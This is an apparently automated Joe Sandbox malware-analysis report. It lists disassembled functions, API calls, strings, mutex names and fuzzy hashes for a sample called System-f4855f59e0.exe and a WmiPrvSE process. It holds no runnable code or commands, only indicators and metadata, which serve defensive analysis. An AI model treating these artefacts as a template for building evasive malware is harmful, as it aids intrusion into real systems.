Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001F5A9659AA7

Strings

RCC, xrefs: 000001F5A9659A77
MOC, xrefs: 000001F5A9659A6F

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 576dbeb46c835b0345b09e69c1f2621bfd9d72a62e333468b937aa6fe4b284ec
Instruction ID: 3fd9f24765773ae44656241303b610f1b5aaecb7dd94953a04899793e3ed93d1
Opcode Fuzzy Hash: 576dbeb46c835b0345b09e69c1f2621bfd9d72a62e333468b937aa6fe4b284ec
Instruction Fuzzy Hash: 2B619036504FD581EB609F25E4407EAB7B1FB95B98F446325EB9A07B95CB7CC1A0CB00

Function 000001F5A966254B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 000001F5A96627E1

Strings

NtDeviceIoControlFile, xrefs: 000001F5A9662605

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: _log10_special
String ID: NtDeviceIoControlFile
API String ID: 3812965864-1552836012
Opcode ID: 42a1b3425ae855bd3dcf8051a52efda2562a7f5b28bf36798d299c0f3618dee7
Instruction ID: 2c4ac0c17d9237aad1137042fa54f73014f9a77b7aabc4f997907638dd425853
Opcode Fuzzy Hash: 42a1b3425ae855bd3dcf8051a52efda2562a7f5b28bf36798d299c0f3618dee7
Instruction Fuzzy Hash: D9614236929FEAC9D7579B359C612B557397F623C5F41A327EB0773A21DB1890234200

Function 000001F5A9692290 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001F5A96923A7
GetLastError.KERNEL32 ref: 000001F5A96923C9

Strings

U, xrefs: 000001F5A9692353

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 39f3297ad757de2f44d07b29014c700c3c9e9a162aea80241aa030272b5c20f5
Instruction ID: f48b7bae11bd5932e93d71026895adf66fe5ef610370a63245c11559ff2f44f1
Opcode Fuzzy Hash: 39f3297ad757de2f44d07b29014c700c3c9e9a162aea80241aa030272b5c20f5
Instruction Fuzzy Hash: 15419136214A5286DB209F25E4443FA77B2FB98794F815231EF4E8B798EB38C451C740

Function 000001F5A9689078 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001F5A96890C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001F5A96885C7), ref: 000001F5A9689109

Strings

csm, xrefs: 000001F5A96890F6

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 14621ee37c51e207233f822d95ea19160683cc8cf5c93e678e309839c92fc525
Instruction ID: 0ced3d60b46999e9cb3970f0f47bdbbf12c4162bddfa00016b0e3a05aadbed12
Opcode Fuzzy Hash: 14621ee37c51e207233f822d95ea19160683cc8cf5c93e678e309839c92fc525
Instruction Fuzzy Hash: 8D112E36214F5582EB218B15F4402997BF5FB88B94F589324DB8E07B54DF3CC561CB00

Function 000001F5A9657842 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F5A9657868

Strings

ctor closure', xrefs: 000001F5A9657850
`vector constructor iterator', xrefs: 000001F5A965786D

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 84cf900fcfb3d3a6fb1bf0d271bc9bb5e5e7286100d614fe8782b049529d09ed
Instruction ID: a16e927c6577f40d821bbccec35d6bf36880777fcfd23b3f5c793d21a4fa2765
Opcode Fuzzy Hash: 84cf900fcfb3d3a6fb1bf0d271bc9bb5e5e7286100d614fe8782b049529d09ed
Instruction Fuzzy Hash: 88E04F65651B9590DF058F62E4512E833A59F59B54B48A2229B5D47311EB28D1F9C300

Function 000001F5A96578A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001F5A96578C4

Strings

ctor closure', xrefs: 000001F5A96578AC
destructor iterator', xrefs: 000001F5A96578C9

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: bb5d781f8344c27ab00fab5f843211173fed2689d36f4f0c3b464b4cfa1e33da
Instruction ID: a2e39bbb4be2b3f8b186ff1fc620984114812712079da9b0fe23c4a7bb25ded1
Opcode Fuzzy Hash: bb5d781f8344c27ab00fab5f843211173fed2689d36f4f0c3b464b4cfa1e33da
Instruction Fuzzy Hash: 2AE04665A11B9980DB068F61E4912E83366AB69B58B88A2228B5D4B311EB28D1E8C300

Function 000001F5A96579A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000001F5A96579B1

Strings

essorFeaturePresent, xrefs: 000001F5A96579B6
`scalar deleting destructor', xrefs: 000001F5A96579CD

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$essorFeaturePresent
API String ID: 1875163511-3386185940
Opcode ID: abd9a1d832691902a70f18103a47b6c649109bffa18a88edc7b57f1d0681ce4f
Instruction ID: f524460b39419ec2a234739556381339562bbb13eb7b0bb7cee649a1bfa63ae7
Opcode Fuzzy Hash: abd9a1d832691902a70f18103a47b6c649109bffa18a88edc7b57f1d0681ce4f
Instruction Fuzzy Hash: CAD05E36210ED695EF14EB04D8813E86331FB90308F906232D34E835B1DF38CA6AC340

Function 000001F5A9681D2C Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A9681D65
HeapAlloc.KERNEL32 ref: 000001F5A9681D73
GetProcessHeap.KERNEL32 ref: 000001F5A9681D98
HeapFree.KERNEL32 ref: 000001F5A9681DA6

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 49e6f57c350109b6085f77543402dccdd1d3a28d0c40e0a7b35e606b00486c2c
Instruction ID: e5c1b7d52507c9733da7ef1235c6f5fcbdedf8b2dc688684ba46b0efdeb3525a
Opcode Fuzzy Hash: 49e6f57c350109b6085f77543402dccdd1d3a28d0c40e0a7b35e606b00486c2c
Instruction Fuzzy Hash: E2116135611F9281EB04CF6AA4482AD67B2FB89FC4F599234DF4E57725DE38D4528340

Function 000001F5A9681264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A968126A
HeapAlloc.KERNEL32 ref: 000001F5A9681279
GetProcessHeap.KERNEL32 ref: 000001F5A9681293
HeapAlloc.KERNEL32 ref: 000001F5A96812A4

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 49d25ca4c0d2d58532c0aa88b9a1a714c1b896cbf655224b34d246cfbb06d60a
Instruction ID: 05c98d7c0f67fc2f547caf42a3f367d8b47950cef9a814c1e6ff8b1d9798c136
Opcode Fuzzy Hash: 49d25ca4c0d2d58532c0aa88b9a1a714c1b896cbf655224b34d246cfbb06d60a
Instruction Fuzzy Hash: 30E06D35601B1286EB048F66D80C3ADB7F2FF89F4AF04D124CA1A4B361DF7D84A98740

Function 000001F5A9681000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A9681006
HeapAlloc.KERNEL32 ref: 000001F5A9681015
GetProcessHeap.KERNEL32 ref: 000001F5A9681028
HeapAlloc.KERNEL32 ref: 000001F5A9681037

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 71dc17eeb2123689a315321fbd814fe4ed161eedf74747c681af5b88c5f67e54
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: EFE01275611A5287EB089F66D8083ADB7F2FF8CF5AF449134CA1A4B321DE3C84A9C710

Analysis Process: System-f4855f59e0.exePID: 7524, Parent PID: 932COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	137
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6A54A15C0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 138
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExW.KERNELBASE ref: 00007FF6A54A15FC
GetLastError.KERNEL32 ref: 00007FF6A54A1607

Strings

Global\e788d6624a, xrefs: 00007FF6A54A15EE
Global\f4855f59e0, xrefs: 00007FF6A54A19D2
TEMP, xrefs: 00007FF6A54A1E11
#, xrefs: 00007FF6A54A1A6A

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: #$Global\e788d6624a$Global\f4855f59e0$TEMP
API String ID: 1925916568-2530975203
Opcode ID: 49f0978e79ec638ee00da9cd3dfa66dc4eb03f01a4dd2dff627060d76ca64697
Instruction ID: cd378856d0de4a6fe9d5031abf698b9b908d103d3dc6026b817b75fa67531ac2
Opcode Fuzzy Hash: 49f0978e79ec638ee00da9cd3dfa66dc4eb03f01a4dd2dff627060d76ca64697
Instruction Fuzzy Hash: DF614325A1EA8295F6A0EB21E8543FB6364FF86B45F801432E68EC25D6DF2CED05C710

Function 00007FF6A54F428C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,00000000,00007FF6A54F4BF4,?,?,?,?,00007FF6A54E6D6D,?,?,?,?,00007FF6A54B4584), ref: 00007FF6A54F4408
GetProcAddress.KERNEL32(?,?,00000000,00007FF6A54F4BF4,?,?,?,?,00007FF6A54E6D6D,?,?,?,?,00007FF6A54B4584), ref: 00007FF6A54F4414

Strings

api-ms-, xrefs: 00007FF6A54F4352
ext-ms-, xrefs: 00007FF6A54F4365

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d50a6e04bc889a94e9310a24b4b50f1f5700652dd2fda89cb67868192f58020c
Instruction ID: c2d1c36bf3ab6f5affb13cac9ef7a9f18f0793c73daee76e11c1255e1b74220c
Opcode Fuzzy Hash: d50a6e04bc889a94e9310a24b4b50f1f5700652dd2fda89cb67868192f58020c
Instruction Fuzzy Hash: A241E226B1BA1285FA65DB2AA8006B92391FF46FE4F499535DD0DC7784EE3CEC498300

Function 00007FF6A54DD690 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6A54DD6B4
__scrt_release_startup_lock.LIBCMT ref: 00007FF6A54DD722
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6A54DD775

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 1152625263-0
Opcode ID: 9ad732d13d0ab0af3469577810eb8c7e971b8c848a3576a797a76545efd1c9fd
Instruction ID: 26e3bd7238ed6acbf611e6cf4fab63c7dc1a5ffa0449e3122c20b181fce2efb0
Opcode Fuzzy Hash: 9ad732d13d0ab0af3469577810eb8c7e971b8c848a3576a797a76545efd1c9fd
Instruction Fuzzy Hash: F3313A26E0F94346FBA4EB6495113B916D1EF87F44F445435E90ECB6E3DE2CAC048390

Function 00007FF6A54F0050 Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6A54F004C), ref: 00007FF6A54F0061
TerminateProcess.KERNEL32(?,?,?,00007FF6A54F004C), ref: 00007FF6A54F006C
ExitProcess.KERNEL32 ref: 00007FF6A54F007B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fbd0adf8052ffcc9b0e8859d6c2e1ba8a6d29c7e81dbf81431fdfbc9d1490058
Instruction ID: ee4efe9f75ade55d27c472a6a774fdf1e221e5999f920a0fcb995caa74053212
Opcode Fuzzy Hash: fbd0adf8052ffcc9b0e8859d6c2e1ba8a6d29c7e81dbf81431fdfbc9d1490058
Instruction Fuzzy Hash: 89D09E14B2A7024AFB58AB756C5507D16519F8BF46F04543DD94FC6393ED3DAC4D4700

Function 00007FF6A54EFF81 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54EFFAF

Part of subcall function 00007FF6A54F00A8: GetModuleHandleExW.KERNEL32 ref: 00007FF6A54F00CD
Part of subcall function 00007FF6A54F00A8: GetProcAddress.KERNEL32 ref: 00007FF6A54F00E3
Part of subcall function 00007FF6A54F00A8: FreeLibrary.KERNEL32 ref: 00007FF6A54F010A

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: a173962850deb2e283e54c593ea4824ca8f2867928e25c65a3806b82bfa8fbc4
Instruction ID: c47e2463257dc0df96e1fd2c6ed92baea37cd7840a57b69eed35eb7f0dc02386
Opcode Fuzzy Hash: a173962850deb2e283e54c593ea4824ca8f2867928e25c65a3806b82bfa8fbc4
Instruction Fuzzy Hash: 2A218133E1678199EB64CF68D4402FC37A0EB46B18F544636EA1D86AC9DF38D944C740

Function 00007FF6A54FD80C Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FD837

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 651a0ccb75aaea49300c198e7ae7e208c017b92abe4d458e04d1672940d29311
Instruction ID: 543a27504e5ba10ecced370671911842c796d1c057df33b6b028f4e7169e7611
Opcode Fuzzy Hash: 651a0ccb75aaea49300c198e7ae7e208c017b92abe4d458e04d1672940d29311
Instruction Fuzzy Hash: 8F116A36A0BA8286F710DB19B48156972A0EF82F90F550534EA6D87AA6DF3CEC14C740

Function 00007FF6A54F4160 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6A54F3A9E,?,?,00007E89DF901C4E,00007FF6A54E7B89,?,?,?,?,00007FF6A54F3EC2,?,?,00000000), ref: 00007FF6A54F41B5

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 894aed0f64889bc6f4bd3071e11743a85ca1bb1a043364d28466e956f208c2d7
Instruction ID: 03434f1ba62b587175919391f4aabee5f9f22751156bedc46b8e6c2f5653bb54
Opcode Fuzzy Hash: 894aed0f64889bc6f4bd3071e11743a85ca1bb1a043364d28466e956f208c2d7
Instruction Fuzzy Hash: 79F06D44F0B20642FE54DBA99A183F54291AF6BF90F1C8934CE0EC63D2EE1CEC888310

Non-executed Functions

Function 00007FF6A54D8FC7 Relevance: 50.0, APIs: 33, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D8FF6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D901F
_Getcoll.LIBCPMT ref: 00007FF6A54D9053
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D907F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D90A8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D90EB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D9114
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D9153
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D917C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D91BF
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D91E8
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D9227
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D9250
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D928E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D92B7
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D92F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D931E
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D935B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D9384
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D93E2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D940B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D944E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D9477
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D94E3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D950C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D9553
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D957C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D95E3
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D960C
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D964C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D9675
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D96F2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D971B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getcoll
String ID:
API String ID: 2318601406-0
Opcode ID: cb05070e4a46a0c91a05d3284d38072eb71287ef6cbbe2043372dc3e9037a228
Instruction ID: a804b2534360cb05f9be6c92ea9fa8483ea674466ee0228b882d9ba9cea5fff8
Opcode Fuzzy Hash: cb05070e4a46a0c91a05d3284d38072eb71287ef6cbbe2043372dc3e9037a228
Instruction Fuzzy Hash: 27221A66A0BA0295FB45EF65D8401B826E1FF56F84F444035EA4ED7696EF3CED82C320

Function 00007FF6A54A6760 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 276COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6A54A677D
GetModuleFileNameW.KERNEL32 ref: 00007FF6A54A67C7

Strings

.exe, xrefs: 00007FF6A54A6857
